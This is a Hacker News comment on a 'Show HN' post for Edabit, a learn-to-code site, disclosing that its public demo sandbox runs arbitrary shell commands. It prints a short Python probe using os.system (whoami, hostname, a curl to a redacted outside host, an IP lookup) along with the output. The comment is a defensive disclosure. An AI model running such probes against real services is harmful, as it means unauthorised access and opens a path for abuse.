Show HN: Edabit – Like Duolingo for Learning to Code
Good job. However, I was able to run the following on your machine (on the publicly available demo page):def hello():
    import os
    print(os.system("whoami"))
    print(os.system("hostname"))
    print(os.system("curl http://redacted/ > ./owned.txt"))
    print(os.system("curl -s http://whatismyip.akamai.com/"))
    print(os.system("cat ./owned.txt"))
    print(os.system("ping -c 1 8.8.8.8"))Results:codewarrior
5a8eb7db8f0e
162.243.103.238
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=123 time=0.668 ms
--- 8.8.8.8 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.668/0.668/0.668/0.000 ms162.243.103.238 is a DigitalOcean address. My server's log indicates the curl command actually pulled the file. Please secure your services or they will be abused by wrong doers. In all honesty, I would advise to take the entire service down until this is fully mitigated.